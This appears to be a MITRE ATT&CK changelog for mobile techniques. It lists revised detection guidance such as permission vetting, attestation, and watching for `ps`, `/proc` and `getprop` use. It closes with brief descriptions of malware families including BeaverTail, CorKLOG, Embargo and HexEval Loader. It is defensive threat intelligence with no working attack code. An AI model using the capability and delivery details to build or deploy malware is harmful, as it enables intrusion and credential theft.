| modified | 2025-04-16 21:21:55.729000+00:00 | 2025-10-24 17:49:24.899000+00:00 |
| x_mitre_detection | On Android, users are presented with a permissions popup when an application requests access to external device storage. |
Current version: 2.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:49.743000+00:00 | 2025-10-24 17:48:52.197000+00:00 |
| x_mitre_detection | Users can see persistent notifications in their notification drawer and can subsequently uninstall applications that do not belong. Applications could be vetted for their use of the `startForeground()` API, and could be further scrutinized if usage is found. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-11-17 18:58:58.592000+00:00 | 2025-10-24 17:48:45.045000+00:00 |
| x_mitre_detection | Android users can view and manage which applications hold the `SYSTEM_ALERT_WINDOW` permission through the device settings in Apps & notifications -> Special app access -> Display over other apps (the exact menu location may vary between Android versions). + +Application vetting services can look for applications requesting the `android.permission.SYSTEM_ALERT_WINDOW` permission in the list of permissions in the app manifest. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:53.113000+00:00 | 2025-10-24 17:49:12.043000+00:00 |
| x_mitre_detection | On Android, users can review which applications can use premium SMS features in the “Special access” page within application settings. Application vetting services can detect when applications request the `SEND_SMS` permission, which should be infrequently used. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:58.143000+00:00 | 2025-10-24 17:49:31.935000+00:00 |
| x_mitre_detection | Users can review which applications have location permissions in the operating system’s settings menu. On Android 10 and later, the system shows a notification to the user when an app has been accessing device location in the background. Application vetting services can detect unnecessary and potentially abused location permissions or API calls. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:59.084000+00:00 | 2025-10-24 17:49:39.161000+00:00 |
| x_mitre_detection | The user can examine the list of all installed applications in the device settings. Application vetting services could potentially detect the usage of APIs intended for artifact hiding. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:50.121000+00:00 | 2025-10-24 17:48:53.101000+00:00 |
| x_mitre_detection | Mobile threat defense agents could detect unauthorized operating system modifications by using attestation. |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 15:16:39.824000+00:00 | 2025-10-24 17:49:24.183000+00:00 |
| x_mitre_detection | Hooking can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:45.996000+00:00 | 2025-10-24 17:48:30.589000+00:00 |
| x_mitre_detection | Mobile security products integrated with Samsung Knox for Mobile Threat Defense can monitor processes to see if security tools are killed or stop running. Application vetting can detect many techniques associated with impairing device defenses.(Citation: Samsung Knox Mobile Threat Defense) |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-01-21 16:22:43.947000+00:00 | 2025-10-24 17:48:24.309000+00:00 |
| x_mitre_detection | Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation.(Citation: CSRIC-WG1-FinalReport) The CSRIC also suggests threat information sharing between telecommunications industry members. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:44.391000+00:00 | 2025-10-24 17:48:23.556000+00:00 |
| x_mitre_detection | Mobile security products can detect which applications can request device administrator permissions. Users can view applications with administrator access through the device settings, and may also notice if user data is inexplicably missing. Users can see a list of applications that can use accessibility services in the device settings. Application vetting services could look for use of APIs that could indicate the application is trying to hide activity. |
Current version: 2.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:47.175000+00:00 | 2025-10-24 17:48:34.355000+00:00 |
| x_mitre_detection | Application vetting services could look for connections to unknown domains or IP addresses. Application vetting services may indicate precisely what content was requested during application execution. |
Current version: 2.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:52.964000+00:00 | 2025-10-24 17:49:11.864000+00:00 |
| x_mitre_detection | Application vetting services can look for applications requesting the permissions granting access to accessibility services or application overlay. Users can view and manage installed third-party keyboards. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:56.042000+00:00 | 2025-10-24 17:49:25.635000+00:00 |
| x_mitre_detection | Users can view applications that have registered accessibility services in the accessibility menu within the device settings. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:51.670000+00:00 | 2025-10-24 17:49:03.949000+00:00 |
| x_mitre_detection | Mobile security products can potentially detect jailbroken devices. Application vetting services may be able to detect known privilege escalation exploits contained within applications, as well as searching application packages for strings that correlate to known password store locations. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:53.936000+00:00 | 2025-10-24 17:49:14.276000+00:00 |
| x_mitre_detection | On Android, users can view and manage which applications have third-party keyboard access through the device settings in System -> Languages & input -> Virtual keyboard. On iOS, users can view and manage which applications have third-party keyboard access through the device settings in General -> Keyboard. + +Application vetting services can look for applications requesting the `android.permission.BIND_ACCESSIBILITY_SERVICE` permission in a service declaration. On Android, users can view and manage which applications can use accessibility services through the device settings in Accessibility. The exact device settings menu locations may vary between operating system versions. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:52.460000+00:00 | 2025-10-24 17:49:08.214000+00:00 |
| x_mitre_detection | Android applications requesting the `ACCESS_COARSE_LOCATION`, `ACCESS_FINE_LOCATION`, or `ACCESS_BACKGROUND_LOCATION` permissions and iOS applications including the `NSLocationWhenInUseUsageDescription`, `NSLocationAlwaysAndWhenInUseUsageDescription`, and/or `NSLocationAlwaysUsageDescription` keys in their `Info.plist` file could be scrutinized during the application vetting process. + + + +In both Android (6.0 and up) and iOS, users can view which applications have the permission to access the device location through the device settings screen and revoke permissions as necessary. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2023-10-16 16:23:05.146000+00:00 | 2025-10-24 17:49:29.764000+00:00 |
| x_mitre_detection | Users can see if someone is watching them type in their device passcode. |
Current version: 1.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:58.771000+00:00 | 2025-10-24 17:49:38.098000+00:00 |
| x_mitre_detection | + |
Current version: 2.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:49.389000+00:00 | 2025-10-24 17:48:47.482000+00:00 |
| x_mitre_detection | This is abuse of standard OS-level APIs and are therefore typically undetectable to the end user. |
Current version: 1.1
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:47.481000+00:00 | 2025-10-24 17:48:35.175000+00:00 |
| x_mitre_detection | Network service scanning can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior. |
Current version: 2.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:51.980000+00:00 | 2025-10-24 17:49:07.116000+00:00 |
| x_mitre_detection | Application vetting reports may show network communications performed by the application, including hosts, ports, protocols, and URLs. Further detection would most likely be at the enterprise level, through packet and/or netflow inspection. Many properly configured firewalls may also naturally block command and control traffic over non-standard ports. |
Current version: 3.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:55.894000+00:00 | 2025-10-24 17:49:25.462000+00:00 |
| x_mitre_detection | Dynamic analysis, when used in application vetting, may in some cases be able to identify malicious code in obfuscated or encrypted form by detecting the code at execution time (after it is deobfuscated or decrypted). Some application vetting techniques apply reputation analysis of the application developer and can alert to potentially suspicious applications without actual examination of application code. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:56.869000+00:00 | 2025-10-24 17:49:28.337000+00:00 |
| x_mitre_detection | Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application. |
Current version: 2.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:58.451000+00:00 | 2025-10-24 17:49:34.162000+00:00 |
| x_mitre_detection | If a user sees a notification with text they do not recognize, they should review their list of installed applications. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2023-09-28 15:38:41.106000+00:00 | 2025-10-24 17:49:28.687000+00:00 |
| x_mitre_detection | Users can view a list of device administrators and applications that have registered accessibility services in device settings. Users can typically visually see when an action happens that they did not initiate and can subsequently review installed applications for any out of place or unknown ones. Applications that register an accessibility service or request device administrator permissions should be scrutinized further for malicious behavior. |
Current version: 2.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:45.337000+00:00 | 2025-10-24 17:48:28.244000+00:00 |
| x_mitre_detection | Mobile security products can typically detect rooted devices, which is an indication that Process Discovery is possible. Application vetting could potentially detect when applications attempt to abuse root access or root the system itself. Further, application vetting services could look for attempted usage of legacy process discovery mechanisms, such as the usage of `ps` or inspection of the `/proc` directory. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:54.246000+00:00 | 2025-10-24 17:49:16.232000+00:00 |
| x_mitre_detection | Application vetting services could look for misuse of dynamic libraries. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:44.829000+00:00 | 2025-10-24 17:48:25.642000+00:00 |
| x_mitre_detection | Users can view permissions granted to an application in device settings. Application vetting services typically flag permissions requested by an application, which can be reviewed by an administrator. Certain dangerous permissions, such as `RECEIVE_SMS`, could receive additional scrutiny. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:49.548000+00:00 | 2025-10-24 17:48:50.301000+00:00 |
| x_mitre_detection | Enterprises may be able to detect anomalous traffic originating from mobile devices, which could indicate compromise. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:45.841000+00:00 | 2025-10-24 17:48:30.394000+00:00 |
| x_mitre_detection | Application vetting services could look for misuse of dynamic libraries. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:52.807000+00:00 | 2025-10-24 17:49:09.660000+00:00 |
| x_mitre_detection | Google sends a notification to the device when Android Device Manager is used to locate it. Additionally, Google provides the ability for users to view their general account activity and alerts users when their credentials have been used on a new device. Apple iCloud also provides notifications to users of account activity such as when credentials have been used. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:54.090000+00:00 | 2025-10-24 17:49:15.008000+00:00 |
| x_mitre_detection | Users can view the default SMS handler in system settings. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:54.890000+00:00 | 2025-10-24 17:49:22.003000+00:00 |
| x_mitre_detection | On Android, the user can manage which applications have permission to access SMS messages through the device settings screen, revoking the permission if necessary. Application vetting services could look for `android.permission.READ_SMS` in an Android application’s manifest. Most applications do not need access to SMS messages, so extra scrutiny could be applied to those that request it. |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 15:16:26.617000+00:00 | 2025-10-24 17:48:18.936000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Scheduling tasks/jobs can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:50.988000+00:00 | 2025-10-24 17:48:57.610000+00:00 |
| x_mitre_detection | The user can view a list of apps with accessibility service privileges in the device settings. Application vetting services can look for the use of the Android `MediaProjectionManager` class, applying extra scrutiny to applications that use the class. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:45.687000+00:00 | 2025-10-24 17:48:29.485000+00:00 |
| x_mitre_detection | Application vetting services could look for the Android permission `android.permission.QUERY_ALL_PACKAGES`, and apply extra scrutiny to applications that request it. On iOS, application vetting services could look for usage of the private API `LSApplicationWorkspace` and apply extra scrutiny to applications that employ it. |
Current version: 2.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:45.152000+00:00 | 2025-10-24 17:48:27.789000+00:00 |
| x_mitre_detection | Application vetting services could look for the Android permission `android.permission.QUERY_ALL_PACKAGES`, and apply extra scrutiny to applications that request it. On iOS, application vetting services could look for usage of the private API `LSApplicationWorkspace` and apply extra scrutiny to applications that employ it. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:49.224000+00:00 | 2025-10-24 17:48:46.514000+00:00 |
| x_mitre_detection | Application vetting services could look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because as legitimate software may use packing techniques to reduce binary size or to protect proprietary code. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2023-12-26 19:17:13.294000+00:00 | 2025-10-24 17:48:31.876000+00:00 |
| x_mitre_detection | On Android, users may be presented with a popup to select the appropriate application to open a URI in. If the user sees an application they do not recognize, they can remove it. When vetting applications for potential security weaknesses, the vetting process could look for insecure use of Intents. Developers should be encouraged to use techniques to ensure that the intent can only be sent to an appropriate destination (e.g., use explicit rather than implicit intents, permission checking, checking of the destination app's signing certificate, or utilizing the App Links feature). For mobile applications using OAuth, encourage use of best practice.(Citation: IETF-OAuthNativeApps)(Citation: Android-AppLinks) |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:58.917000+00:00 | 2025-10-24 17:49:38.813000+00:00 |
| x_mitre_detection | Detection of steganography is difficult unless detectable artifacts with a known signature are left behind by the obfuscation process. Look for strings are other signatures left in system artifacts related to decoding steganography. |
Current version: 3.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-11-17 18:31:54.805000+00:00 | 2025-10-24 17:48:56.509000+00:00 |
| x_mitre_detection | Application vetting services could detect when applications store data insecurely, for example, in unprotected external storage. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:51.458000+00:00 | 2025-10-24 17:48:59.522000+00:00 |
| x_mitre_detection | On Android, the user can use the device settings menu to view trusted CA certificates and look for unexpected or unknown certificates. A mobile security product could similarly examine the trusted CA certificate store for anomalies. Users can use the device settings menu to view which applications on the device are allowed to install unknown applications. + +On iOS, the user can use the device settings menu to view installed Configuration Profiles and look for unexpected or unknown profiles. A Mobile Device Management (MDM) system could use the iOS MDM APIs to examine the list of installed Configuration Profiles for anomalies. |
Current version: 2.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-11-17 13:32:52.029000+00:00 | 2025-10-24 17:48:23.643000+00:00 |
| x_mitre_detection | Usage of insecure or malicious third-party libraries could be detected by application vetting services. Malicious software development tools could be detected by enterprises that deploy endpoint protection software on computers that are used to develop mobile apps. Application vetting could detect the usage of insecure or malicious third-party libraries. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-09-12 19:47:06.884000+00:00 | 2025-10-24 17:49:35.410000+00:00 |
| x_mitre_detection | The user can examine the list of all installed applications, including those with a suppressed icon, in the device settings. If the user is redirected to the device settings when tapping an application’s icon, they should inspect the application to ensure it is genuine. Application vetting services could potentially detect the usage of APIs intended for suppressing the application’s icon. |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:54.401000+00:00 | 2025-10-24 17:49:17.802000+00:00 |
| x_mitre_detection | Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:50.837000+00:00 | 2025-10-24 17:48:56.336000+00:00 |
| x_mitre_detection | Application vetting services could look for applications attempting to get `android.os.SystemProperties` or `getprop` with the runtime `exec()` commands. This could indicate some level of sandbox evasion, as Google recommends against using system properties within applications. |
Current version: 1.2
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:57.841000+00:00 | 2025-10-24 17:49:31.141000+00:00 |
| x_mitre_detection | System information discovery can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior. |
Current version: 2.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-02-20 23:35:22.949000+00:00 | 2025-10-24 17:49:26.973000+00:00 |
| x_mitre_detection | Application vetting services could look for usage of the `READ_PRIVILEGED_PHONE_STATE` Android permission. This could indicate that non-system apps are attempting to access information that they do not have access to. |
Current version: 2.1
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:57.189000+00:00 | 2025-10-24 17:49:29.321000+00:00 |
| x_mitre_detection | System Network Connections Discovery can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:55.191000+00:00 | 2025-10-24 17:49:22.267000+00:00 |
| x_mitre_detection | Mobile threat defense agents could detect unauthorized operating system modifications by using attestation. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:51.156000+00:00 | 2025-10-24 17:48:57.794000+00:00 |
| x_mitre_detection | Applications could be vetted for their use of the clipboard manager APIs with extra scrutiny given to application that make use of them. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:51.304000+00:00 | 2025-10-24 17:48:59.057000+00:00 |
| external_references[2]['url'] | https://blog.trendmicro.com/trendlabs-security-intelligence/ios-url-scheme-susceptible-to-hijacking/ | https://web.archive.org/web/20211023221110/https://blog.trendmicro.com/trendlabs-security-intelligence/ios-url-scheme-susceptible-to-hijacking/ |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | On Android, users may be presented with a popup to select the appropriate application to open the URI in. If the user sees an application they do not recognize, they can remove it. When vetting applications for potential security weaknesses, the vetting process could look for insecure use of Intents. Developers should be encouraged to use techniques to ensure that the intent can only be sent to an appropriate destination (e.g., use explicit rather than implicit intents, permission checking, checking of the destination app's signing certificate, or utilizing the App Links feature). For mobile applications using OAuth, encourage use of best practice. (Citation: IETF-OAuthNativeApps)(Citation: Android-AppLinks) |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:44.210000+00:00 | 2025-10-24 17:48:23.278000+00:00 |
| x_mitre_detection | Users can see a list of applications that can use accessibility services in the device settings. Application vetting services could look for use of the accessibility service or features that typically require root access. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:50.314000+00:00 | 2025-10-24 17:48:54.078000+00:00 |
| x_mitre_detection | Command-line activities can potentially be detected through Mobile Threat Defense integrations with lower-level OS APIs. This could grant the MTD agents access to running processes and their parameters, potentially detecting unwanted or malicious shells. + +Application vetting services could detect the invocations of methods that could be used to execute shell commands.(Citation: Samsung Knox Mobile Threat Defense) |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:46.535000+00:00 | 2025-10-24 17:48:32.337000+00:00 |
| x_mitre_detection | Mobile security products may be able to detect some forms of user evasion. Otherwise, the act of hiding malicious activity could be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior. |
Current version: 2.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:56.716000+00:00 | 2025-10-24 17:49:28.248000+00:00 |
| x_mitre_detection | The user can view which applications have permission to use the camera through the device settings screen, where the user can then choose to revoke the permissions. During the vetting process, applications using the Android permission `android.permission.CAMERA`, or the iOS `NSCameraUsageDescription` plist entry could be given closer scrutiny. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:46.725000+00:00 | 2025-10-24 17:48:32.877000+00:00 |
| x_mitre_detection | Application vetting services could look for applications attempting to get `android.os.SystemProperties` or `getprop` with the runtime `exec()` commands. This could indicate some level of sandbox evasion, as Google recommends against using system properties within applications. |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:46.363000+00:00 | 2025-10-24 17:48:31.318000+00:00 |
| x_mitre_detection | Abuse of standard application protocols can be difficult to detect as many legitimate mobile applications leverage such protocols for language-specific APIs. Enterprises may be better served focusing on detection at other stages of adversarial behavior. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:21:55.035000+00:00 | 2025-10-24 17:49:22.184000+00:00 |
| x_mitre_detection | Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application. |
Current version: 1.0
Description:
Test
Current version: 1.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_detection |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 15:16:51.447000+00:00 | 2025-10-24 17:49:21.744000+00:00 |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_detection |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 15:16:50.981000+00:00 | 2025-10-24 17:49:16.405000+00:00 |
Current version: 1.0
Description:
BOOKWORM is a modular trojan known to be leveraged by Mustang Panda and was first observed utilized in 2015. BOOKWORM was later updated in late 2021 and the fall of 2022 to launch shellcode represented as UUID parameters. (Citation: Broadcom)(Citation: Unit42 Bookworm Nov2015)(Citation: Palo Alto Networks, Unit 42)
Current version: 1.0
Description:
BeaverTail is a malware that has both a JavaScript and C++ variant. Active since 2022, BeaverTail is capable of stealing logins from browsers and serves as a downloader for second stage payloads. BeaverTail has previously been leveraged by North Korea-affiliated actors identified as DeceptiveDevelopment or Contagious Interview. BeaverTail has been delivered to victims through code repository sites and has been embedded within malicious attachments.(Citation: PaloAlto ContagiousInterview BeaverTail InvisibleFerret November 2023)(Citation: Esentire ContagiousInterview BeaverTail InvisibleFerret November 2024)(Citation: ESET Contagious Interview BeaverTail InvisibleFerret February 2025)(Citation: Zscaler ContagiousInterview BeaverTail InvisibleFerret November 2024)
Current version: 1.0
Description:
CANONSTAGER is a loader known to be leveraged by Mustang Panda and was first observed utilized in 2025. Mustang Panda utilizes DLL side-loading to execute within the victim environment prior to delivering a follow-on malicious encrypted payload. CANONSTAGER leverages Thread Local Storage (TLS) and Native Windows APIs within the victim environment to elude detections. CANONSTAGER also hides its code utilizing window procedures and message queues.(Citation: Google Threat Intelligence Group MUSTANG PANDA PLUGX August 2025)
Current version: 1.0
Description:
CASTLETAP is an ICMP port knocking backdoor that has been installed on compromised FortiGate firewalls by UNC3886.(Citation: Mandiant Fortinet Zero Day)
Current version: 1.0
Description:
CLAIMLOADER is a malware variant that frequently accompanies legitimate executables that are used for DLL side-loading known to be leveraged by Mustang Panda and was first observed utilized in 2021.(Citation: IBM MUSTANG PANDA PUBLOAD CLAIMLOADER JUNE 2025)(Citation: 2025_IBM_PUBLOAD_TONESHELL_HIUPAN_CLAIMLOADER_MUSTANG PANDA)
Current version: 1.0
Description:
CorKLOG is a keylogger known to be leveraged by Mustang Panda and was first observed utilized in 2024. CorKLOG is delivered through a RAR archive (e.g., src.rar), which contains two files: an executable (lcommute.exe) and the CorKLOG DLL (mscorsvc.dll). CorKLOG has established persistence on the system by creating services or with scheduled tasks.(Citation: Zscaler PAKLOG CorkLog SplatCloak Splatdropper April 2025)
Current version: 1.0
Description:
Embargo is a ransomware variant written in Rust that has been active since at least May 2024.(Citation: Cyble Embargo Ransomware May 2024)(Citation: ESET Embargo Ransomware October 2024) Embargo ransomware operations are associated with “double extortion” ransomware activity, where data is exfiltrated from victim environments prior to encryption, with threats to publish files if a ransom is not paid.(Citation: Cyble Embargo Ransomware May 2024)(Citation: ESET Embargo Ransomware October 2024) Embargo ransomware has been known to be delivered through a loader known as MDeployer which also leverages a malware component known as MS4Killer that facilitates termination of processes operating on the victim hosts.(Citation: ESET Embargo Ransomware October 2024) Embargo is also reportedly a Ransomware as a Service (RaaS).(Citation: ESET Embargo Ransomware October 2024)
Current version: 1.0
Description:
HIUPAN (aka U2DiskWatch) is a is a worm that propagates through removable drives known to be leveraged by Mustang Panda and was first observed utilized in 2024. (Citation: 2025_IBM_PUBLOAD_TONESHELL_HIUPAN_CLAIMLOADER_MUSTANG PANDA)(Citation: Trend Micro MUSTANG PANDA PUBLOAD HIUPAN SEPTEMBER 2024)
Current version: 1.0
Description:
Havoc is an open-source post-exploitation command and control (C2) framework first released on GitHub in October 2022 by C5pider (Paul Ungur), who continues to maintain and develop it with community contributors. Havoc provides a wide range of offensive security capabilities and has been adopted by multiple threat actors to establish and maintain control over compromised systems.
Current version: 1.0
Description:
HexEval Loader is a hex-encoded loader that collects host data, decodes follow-on scripts and acts as a downloader for the BeaverTail malware. HexEval Loader was first reported in April 2025. HexEval Loader has previously been leveraged by North Korea-affiliated threat actors identified as Contagious Interview. HexEval Loader has been delivered to victims through code repository sites utilizing typosquatting naming conventions of various npm packages.(Citation: Socket Contagious Interview NPM April 2025)(Citation: Socket BeaverTail XORIndex HexEval Contagious Interview July 2025)(Citation: Socket HexEval BeaverTail Contagious Interview June 2025)
Current version: 1.0
Description:
